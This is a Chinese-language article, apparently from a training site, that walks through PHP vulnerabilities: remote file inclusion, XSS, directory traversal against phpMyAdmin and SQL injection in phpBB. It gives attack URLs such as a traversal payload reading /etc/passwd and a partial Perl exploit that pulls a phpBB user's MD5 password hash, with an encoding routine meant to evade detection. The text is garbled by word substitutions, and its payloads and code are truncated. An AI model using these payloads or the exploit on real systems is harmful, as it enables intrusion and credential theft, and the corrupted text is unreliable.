软件开发培训班 >> 编程开发 >> PHP


php页面漏洞分析及相关问题解决

　　从现在的网络安全来看，大家最关注和接触最多的WEB页面 漏洞应该是ASP了，在这方面，小竹是专家，我没发言权 。然而在PHP方面来看，也和样存在很严峻的安全问题，然而这方面的文章却不多 。在这里，就跟大家来略微的 探讨一下PHP页面的 有关 漏洞吧 。

　　我对当前常见的PHP 漏洞做了一下总结， 大体分为以下几种：包括文件 漏洞，脚本命令执行 漏洞，文件泄露 漏洞，SQL注入 漏洞等几种 。固然，至于COOKIE 诱骗等一 部分通用的技术就不在这里 探讨了，这些 材料网上也众多 。那么，我们就一个一个来 综合一下 怎么利用这些 漏洞吧!

　　首先，我们来 探讨包括文件 漏洞 。这个 漏洞应该说是PHP独有的吧 。这是因为不 充足 解决外部提供的 歹意数据，从而招致远程 突击者 可以利用这些 漏洞以WEB 历程权限在系统上执行任意命令 。我们来看一个例子： 假如在a.php中有这样一句代码:

以下是 引用片段：

include($include."/xxx.php");

　　?>

　　在这段代码中，$include普通是一个已经设置好的路径，然而我们 可以通过自己 构造一个路径来达到 突击的 目标 。 譬如说我们提交:a.php?include=http://web/b.php，这个web是我们用做 突击的空间，固然，b.php也便是我们用来 突击的代码了 。我们 可以在b.php中写入 类似于:passthru("/bin/ls /etc");的代码 。这样，就 可以执行一些有 目标的 突击了 。(注:Web服务器应该不能执行php代码，否则就出问题了 。 有关详情 可以去看<<如何对PHP程序中的常见 漏洞进行 突击>>) 。在这个 漏洞方面，出情况的众多， 譬如说:PayPal Store Front,HotNews,Mambo Open Source,PhpDig,YABB SE,phpBB,InvisionBoard,SOLMETRA SPAW Editor,Les Visiteurs,PhpGedView,X-Cart等等一些 。

　　接着，我们再来看一下脚本命令执行 漏洞 。这是因为对消费者提交的URI参数 缺乏 充足过滤，提交包括 歹意HTML代码的数据，可招致触发跨站脚本 突击，可能 获得 指标消费者的敏感信息 。我们也举个例子:在PHP Transparent的PHP PHP 4.3.1以下版本中的index.php页面对PHPSESSID 缺乏 充足的过滤,我们 可以通过这样的代码来达到 突击的 目标:http://web/index.php?PHPSESSID=">在script里面我们 可以 构造函数来 获得消费者的一些敏感信息 。在这个 漏洞方面 绝对要少丝毫，除了PHP Transparent之外还有:PHP-Nuke,phpBB,PHP Classifieds,PHPix,Ultimate PHP Board等等 。

再 而后，我们就来看看文件泄露 漏洞了，这种 漏洞是因为对消费者提交参数 缺乏 充足过滤，远程 突击者 可以利用它进行目录遍历 突击以及猎取一些敏感信息 。我们拿近期发现的phpMyAdmin来做例子 。在phpMyAdmin中，export.php页面没有对消费者提交的'what'参数进行 充足过滤，远程 突击者提交包括多个'../'字符的数据，便可绕过WEB ROOT 制约，以WEB权限查看系统上的任意文件信息 。 譬如说打入这样一个地址:export.php?what=../../../../../../etc/passwd%00 就 可以达到文件泄露的 目标了 。在这方面 绝对多丝毫，有:myPHPNuke,McNews等等 。

　　最终，我们又要回到最兴奋的地方了 。想想我们平时在asp页面中用SQL注入有 如许爽，以往还要手动注入，向来到小竹悟出"SQL注入密笈"(嘿嘿)， 而后再开做出NBSI以后，我们NB联盟真是拉出一片天空 。曾先后帮CSDN，大富翁论坛，中国频道等大型网站找出 漏洞 。(这些废话不多说了，有点跑题了...) 。

　　还是言规正传，其 着实asp中SQL的注入和php中的SQL注入 大体 雷同，只是略微 留神一下用的几个函数就好了 。将asc改成ASCII，len改成LENGTH， 其余函数 根本不变了 。其实大家看到PHP的SQL注入，是否都会想到PHP-NUKE和PHPBB呢?不错，俗话说树大招分，像动网这样的论坛在asp界就该是 漏洞这王了，这并不是说它的论坛安全太差，而是名气太响，别人用的多了，探究的人也就多了，发现的安全 漏洞也就越多了 。PHPBB也是一样的，现在很大一 部分人用PHP做论坛的话，普通都是 取舍了PHPBB 。它的 漏洞也是向来在出，从最早phpBB.com phpBB 1.4.0版本被人发现 漏洞，到现在近期的phpBB 2.0.6版本的groupcp.php,，以及之前发现的search.php,profile.php,viewtopic.php等等加起来，大约也有十来个样子吧 。这也向来招致，一 部分人在探究php 漏洞的时候都会拿它做 试验品，所谓百练成精嘛，相信以后的PHPBB会越来越好 。

　　好了，我们还是来 综合一下 漏洞产生的缘由吧 。拿viewtopic.php页面来说，因为在调用viewtopic.php时，直接从GET 申请中 获得"topic_id"并传递给SQL 查问命令，而并没有进行一些过滤的 解决， 突击者 可以提交特殊的SQL字符串用于 获得MD5密码， 获得此密码信息 可以用于自动登录或者进行暴力破解 。(我想应该不会有人想去暴力破解吧,除非有特殊主要的缘由) 。先看一下 有关源代码:

以下是 引用片段：

#　　　if(isset($HTTP_GET_VARS[POST_TOPIC_URL]))

　　#　　　{

　　#　　　　　　$topic_id=intval($HTTP_GET_VARS[POST_TOPIC_URL]);

　　#　　　}

　　#　　　elseif(isset($HTTP_GET_VARS['topic']))

　　#　　　{

　　#　　　　　　$topic_id=intval($HTTP_GET_VARS['topic']);

　　#　　　}

从上面我们 可以看出，假如提交的view=newest而且sid设置了值的话，执行的 查问代码像下面的这个样子(假如你还没看过PHPBB源代码的话， 提议你看了再对着这里来看，受影响系统为:phpBB 2.0.5和phpBB 2.0.4) 。

以下是 引用片段：

#　　　　　　　 $sql = "SELECT p.post_id

　　#　　　　　　　 FROM " . POSTS_TABLE . " p, " . SESSIONS_TABLE . " s,　" . USERS_TABLE . " u

　　#　　　　　　　 WHERE s.session_id = '$session_id'

　　#　　　　　　　　　AND u.user_id = s.session_user_id

　　#　　　　　　　　　AND p.topic_id = $topic_id

　　#　　　　　　　　　AND p.post_time >= u.user_lastvisit

　　#　　　　　　　 ORDER BY p.post_time ASC

　　#　　　　　　　 LIMIT 1";

　　Rick提供了下面的这断测试代码:

　　use IO::Socket;

　　$remote = shift || 'localhost';

　　$view_topic = shift ||　'/phpBB2/viewtopic.php';

　　$uid = shift || 2;

　　$port = 80;

　　$dBType = 'mysql4';　　 # mysql4 or pgsql

　　print "Trying to get password hash for uid $uid server $remote dbtype: $dBType ";

　　$p = "";

　　for($index=1; $index<=32; $index++)

　　{

　　$socket = IO::Socket::INET->new(PeerAddr => $remote,

　　PeerPort => $port,

　　Proto => "tcp",

　　Type => SOCK_STREAM)

　　or die "Couldnt connect to $remote:$port : $@ ";

　　$str = "GET $view_topic" . "?sid=1&topic_id=-1" .　random_encode(make_dbsql()) .　"&view=newest" . " HTTP/1.0 ";

　　print $socket $str;

　　print $socket "Cookie: phpBB2mysql_sid=1 ";　　# replace this for pgsql or remove it

　　print $socket "Host: $remote ";

　　while ($answer = <$socket>)

　　{

　　if ($answer =' /location:.*x23(d+)/)　# Matches the location: viewtopic.php?p=#

　　{

　　$p .= chr ();

　　}

　　}

　　close($socket);

　　}

　　print " MD5 Hash for uid $uid is $p ";

　　# random encode str. helps avoid detection

　　sub random_encode

　　{

　　$str = shift;

　　$ret = "";

　　for($i=0; $i

　　{

　　$c = substr($str,$i,1);

　　$j = rand length($str) * 1000;

　　

　　

　　if (int($j) % 2 || $c eq ' ')

　　{

　　$ret .= "%" . sprintf("%x",ord($c));

　　}